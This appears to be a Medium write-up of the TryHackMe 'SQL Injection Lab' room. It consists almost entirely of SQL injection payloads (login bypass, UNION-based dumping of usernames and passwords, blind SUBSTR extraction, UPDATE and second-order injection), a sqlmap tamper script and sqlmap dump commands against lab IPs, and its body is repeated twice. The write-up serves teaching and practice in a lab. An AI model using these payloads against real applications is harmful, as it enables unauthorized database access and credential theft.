InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

SQL Injection Lab Tryhackme Writeup

Shamsher khan
InfoSec Write-ups
Published in
58 min readApr 20, 2021
https://tryhackme.com/room/sqlilab

SQL Injection Tryhackme Writeup

https://shamsher-khan.medium.com/sql-injection-tryhackme-writeup-e7c78542bfb9

Task 2: Introduction to SQL Injection: Part 1

$query = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"
SELECT * FROM users WHERE username = '' OR 1=1-- -' AND password = ''
SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'
profileID=10
1 or 1=1-- -
profileID='10'
1' or '1'='1'-- -
SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password='ce5ca67...'
function validateform() {var profileID = document.inputForm.profileID.value;var password = document.inputForm.password.value;if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {alert("The input fields cannot contain special characters");return false;}if (profileID == null || password == null) {alert("The input fields cannot be empty.");return false;}}
http://10.10.231.136:5000/sesqli3/login?profileID=a' or 1=1 --a' or 1=1 --&password=a
a'%20or%201%3d1%20--10.10.231.136:5000/sesqli3/login?profileID=a'%20or%201%3d1%20--&password=a

Task 3: Introduction to SQL Injection: Part 2

SQL Injection Attack on an UPDATE Statement

asd',nickName='test',email='hacked
UPDATE <table_name> SET nickName='name', email='email' WHERE <condition>
# MySQL and MSSQL',nickName=@@version,email='# For Oracle',nickName=(SELECT banner FROM v$version),email='# For SQLite',nickName=sqlite_version(),email='
',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='
',nickName=(SELECT group_concat(id || "," || author|| "," || secret|| ":") from secrets),email='

Task 4: Vulnerable Startup: Broken Authentication

Task 5: Vulnerable Startup: Broken Authentication 2

Goal

Description

SELECT id, username FROM users WHERE username = '" + username + "' AND password = '" + password + "'
1' UNION SELECT NULL-- -1' UNION SELECT NULL, NULL-- -1' UNION SELECT NULL, NULL, NULL-- -
' UNION SELECT 1, password from users-- -
' UNION SELECT 1,group_concat(password) FROM users-- -

Task 6: Vulnerable Startup: Broken Authentication 3 (Blind Injection)

Goal

Description

SUBSTR( string, <start>, <length>)
-- Changing startSUBSTR("THM{Blind}", 1,1) = TSUBSTR("THM{Blind}", 2,1) = HSUBSTR("THM{Blind}", 3,1) = M-- Changing lengthSUBSTR("THM{Blind}", 1,3) = THM
(SELECT password FROM users LIMIT 0,1)
LIMIT <OFFSET>, <LIMIT>
sqlite> SELECT password FROM users LIMIT 0,1THM{Blind}sqlite> SELECT password FROM users LIMIT 1,1Summer2019!sqlite> SELECT password FROM users LIMIT 0,2THM{Blind}Summer2019!
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1)
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = 'T'
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)
admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)-- -
SELECT id, username FROM users WHERE username = 'admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)
admin' AND length((SELECT password from users where username='admin'))==37-- -
sqlmap -u http://10.10.110.236:5000/challenge3/login --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump

Task 7: Vulnerable Startup: Vulnerable Notes

Goal

Description

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)
INSERT INTO users (username, password) VALUES (?, ?)
SELECT title, note FROM notes WHERE username = '" + username + "'
' union select 1,2'
SELECT title, note FROM notes WHERE username = '' union select 1,2''
' union select 1,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%''
#!/usr/bin/pythonimport requestsfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALaddress = "http://10.10.1.134:5000/challenge4"password = "asd"def dependencies():passdef create_account(payload):with requests.Session() as s:data = {"username": payload, "password": password}resp = s.post(f"{address}/signup", data=data)def login(payload):with requests.Session() as s:data = {"username": payload, "password": password}resp = s.post(f"{address}/login", data=data)sessid = s.cookies.get("session", None)return "session={}".format(sessid)def tamper(payload, **kwargs):headers = kwargs.get("headers", {})create_account(payload)headers["Cookie"] = login(payload)return payload
sqlmap --tamper so-tamper.py --url http://10.10.1.134:5000/challenge4/signup  --data "username=admin&password=asd"--second-url http://10.10.1.134:5000/challenge4/notes  -p username --dbms sqlite --technique=U --no-cast# --tamper so-tamper.py - The tamper script# --url - The URL of the injection point, which is /signup in this case# --data - The POST data from the registraion form to /signup.#   Password must be the same as the password in the tamper script# --second-url http://10.10.1.134:5000/challenge4/notes - Visit this URL to check for results# -p username - The parameter to inject to# --dbms sqlite - To speed things up# --technique=U - The technique to use. [U]nion-based# --no-cast - Turn off payload casting mechanism

— With casting enabled:

admin' union all select min(cast(x'717a717071' as text)||coalesce(cast(sql as text),cast(x'20' as text)))||cast(x'716b786271' as text),null from sqlite_master where tbl_name=cast(x'7573657273' as text)-- daqo'-- 7573657273 is 'users' in ascii

— Without casting:

admin' union all select cast(x'717a6a7871' as text)||id||cast(x'6774697a7462' as text)||password||cast(x'6774697a7462' as text)||username||cast(x'7162706b71' as text),null from users-- ypfr'
sqlmap --tamper tamper/so-tamper.py --url http://10.10.1.134:5000/challenge4/signup --data "username=admin&password=asd" --second-url http://10.10.1.134:5000/challenge4/notes -p username --dbms=sqlite --technique=U --no-cast -T users --dump
[WARNING] console output will be trimmed to last 256 rows due to large table size

Task

sqlmap --tamper so-tamper.py --url http://10.10.224.106:5000/challenge4/signup --data "username=admin&password=asd" --second-url http://10.10.224.106:5000/challenge4/notes -p username --dbms=sqlite --technique=U --no-cast -T users --dump

Task 8: Vulnerable Startup: Change Password

Goal

Description

UPDATE users SET password = ? WHERE username = '" + username + "'
SELECT username, password FROM users WHERE id = ?
UPDATE users SET password = ? WHERE username = 'admin' -- -'

Task

Task 9: Vulnerable Startup: Book Title

Goal

Description

Testing a new function to search for books, check it out here
SELECT * from books WHERE id = (SELECT id FROM books WHERE title like '" + title + "%')
') or 1=1-- -

Task

') or 1=1-- -
') order by 1-- -
') order by 2-- -
') order by 3-- -
') order by 4-- -
') order by 5-- -
') order by 5-- -
') union select 1,2,3,4-- -
') union select 1,group_concat(username),group_concat(password),4 from users-- -

Task 10: Vulnerable Startup: Book Title 2

Goal

Description

Testing a new function to search for books, check it out here
bid = db.sql_query(f"SELECT id FROM books WHERE title like '{title}%'", one=True)if bid:query = f"SELECT * FROM books WHERE id = '{bid['id']}'"
' union select 'STRING
' union select '1'-- -
test' union select '1'-- -
SELECT * FROM books WHERE id = '' union select 1,2,3,4-- -
' union select '1' union select 1,2,3,4-- -
' union select '-1''union select 1,2,3,4-- -

Task

' union select '-1''union select 1,group_concat(username),group_concat(password),4 from users-- -
https://tryhackme.com/room/sqlilab

SQL Injection Tryhackme Writeup

https://shamsher-khan.medium.com/sql-injection-tryhackme-writeup-e7c78542bfb9

Task 2: Introduction to SQL Injection: Part 1

$query = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"
SELECT * FROM users WHERE username = '' OR 1=1-- -' AND password = ''
SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'
profileID=10
1 or 1=1-- -
profileID='10'
1' or '1'='1'-- -
SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password='ce5ca67...'
function validateform() {var profileID = document.inputForm.profileID.value;var password = document.inputForm.password.value;if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {alert("The input fields cannot contain special characters");return false;}if (profileID == null || password == null) {alert("The input fields cannot be empty.");return false;}}
http://10.10.231.136:5000/sesqli3/login?profileID=a' or 1=1 --a' or 1=1 --&password=a
a'%20or%201%3d1%20--10.10.231.136:5000/sesqli3/login?profileID=a'%20or%201%3d1%20--&password=a

Task 3: Introduction to SQL Injection: Part 2

SQL Injection Attack on an UPDATE Statement

asd',nickName='test',email='hacked
UPDATE <table_name> SET nickName='name', email='email' WHERE <condition>
# MySQL and MSSQL',nickName=@@version,email='# For Oracle',nickName=(SELECT banner FROM v$version),email='# For SQLite',nickName=sqlite_version(),email='
',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='
',nickName=(SELECT group_concat(id || "," || author|| "," || secret|| ":") from secrets),email='

Task 4: Vulnerable Startup: Broken Authentication

Task 5: Vulnerable Startup: Broken Authentication 2

Goal

Description

SELECT id, username FROM users WHERE username = '" + username + "' AND password = '" + password + "'
1' UNION SELECT NULL-- -1' UNION SELECT NULL, NULL-- -1' UNION SELECT NULL, NULL, NULL-- -
' UNION SELECT 1, password from users-- -
' UNION SELECT 1,group_concat(password) FROM users-- -

Task 6: Vulnerable Startup: Broken Authentication 3 (Blind Injection)

Goal

Description

SUBSTR( string, <start>, <length>)
-- Changing startSUBSTR("THM{Blind}", 1,1) = TSUBSTR("THM{Blind}", 2,1) = HSUBSTR("THM{Blind}", 3,1) = M-- Changing lengthSUBSTR("THM{Blind}", 1,3) = THM
(SELECT password FROM users LIMIT 0,1)
LIMIT <OFFSET>, <LIMIT>
sqlite> SELECT password FROM users LIMIT 0,1THM{Blind}sqlite> SELECT password FROM users LIMIT 1,1Summer2019!sqlite> SELECT password FROM users LIMIT 0,2THM{Blind}Summer2019!
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1)
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = 'T'
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)
admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)-- -
SELECT id, username FROM users WHERE username = 'admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)
admin' AND length((SELECT password from users where username='admin'))==37-- -
sqlmap -u http://10.10.110.236:5000/challenge3/login --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump

Task 7: Vulnerable Startup: Vulnerable Notes

Goal

Description

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)
INSERT INTO users (username, password) VALUES (?, ?)
SELECT title, note FROM notes WHERE username = '" + username + "'
' union select 1,2'
SELECT title, note FROM notes WHERE username = '' union select 1,2''
' union select 1,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%''
#!/usr/bin/pythonimport requestsfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALaddress = "http://10.10.1.134:5000/challenge4"password = "asd"def dependencies():passdef create_account(payload):with requests.Session() as s:data = {"username": payload, "password": password}resp = s.post(f"{address}/signup", data=data)def login(payload):with requests.Session() as s:data = {"username": payload, "password": password}resp = s.post(f"{address}/login", data=data)sessid = s.cookies.get("session", None)return "session={}".format(sessid)def tamper(payload, **kwargs):headers = kwargs.get("headers", {})create_account(payload)headers["Cookie"] = login(payload)return payload
sqlmap --tamper so-tamper.py --url http://10.10.1.134:5000/challenge4/signup  --data "username=admin&password=asd"--second-url http://10.10.1.134:5000/challenge4/notes  -p username --dbms sqlite --technique=U --no-cast# --tamper so-tamper.py - The tamper script# --url - The URL of the injection point, which is /signup in this case# --data - The POST data from the registraion form to /signup.#   Password must be the same as the password in the tamper script# --second-url http://10.10.1.134:5000/challenge4/notes - Visit this URL to check for results# -p username - The parameter to inject to# --dbms sqlite - To speed things up# --technique=U - The technique to use. [U]nion-based# --no-cast - Turn off payload casting mechanism

— With casting enabled:

admin' union all select min(cast(x'717a717071' as text)||coalesce(cast(sql as text),cast(x'20' as text)))||cast(x'716b786271' as text),null from sqlite_master where tbl_name=cast(x'7573657273' as text)-- daqo'-- 7573657273 is 'users' in ascii

— Without casting:

admin' union all select cast(x'717a6a7871' as text)||id||cast(x'6774697a7462' as text)||password||cast(x'6774697a7462' as text)||username||cast(x'7162706b71' as text),null from users-- ypfr'
sqlmap --tamper tamper/so-tamper.py --url http://10.10.1.134:5000/challenge4/signup --data "username=admin&password=asd" --second-url http://10.10.1.134:5000/challenge4/notes -p username --dbms=sqlite --technique=U --no-cast -T users --dump
[WARNING] console output will be trimmed to last 256 rows due to large table size

Task

sqlmap --tamper so-tamper.py --url http://10.10.224.106:5000/challenge4/signup --data "username=admin&password=asd" --second-url http://10.10.224.106:5000/challenge4/notes -p username --dbms=sqlite --technique=U --no-cast -T users --dump

Task 8: Vulnerable Startup: Change Password

Goal

Description

UPDATE users SET password = ? WHERE username = '" + username + "'
SELECT username, password FROM users WHERE id = ?
UPDATE users SET password = ? WHERE username = 'admin' -- -'

Task

Task 9: Vulnerable Startup: Book Title

Goal

Description

Testing a new function to search for books, check it out here
SELECT * from books WHERE id = (SELECT id FROM books WHERE title like '" + title + "%')
') or 1=1-- -

Task

') or 1=1-- -
') order by 1-- -
') order by 2-- -
') order by 3-- -
') order by 4-- -
') order by 5-- -
') order by 5-- -
') union select 1,2,3,4-- -
') union select 1,group_concat(username),group_concat(password),4 from users-- -

Task 10: Vulnerable Startup: Book Title 2

Goal

Description

Testing a new function to search for books, check it out here
bid = db.sql_query(f"SELECT id FROM books WHERE title like '{title}%'", one=True)if bid:query = f"SELECT * FROM books WHERE id = '{bid['id']}'"
' union select 'STRING
' union select '1'-- -
test' union select '1'-- -
SELECT * FROM books WHERE id = '' union select 1,2,3,4-- -
' union select '1' union select 1,2,3,4-- -
' union select '-1''union select 1,2,3,4-- -

Task

' union select '-1''union select 1,group_concat(username),group_concat(password),4 from users-- -

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Shamsher khan

Web Application Pen-tester || CTF Player || Security Analyst || Freelance Cyber Security Trainer

No responses yet

Write a response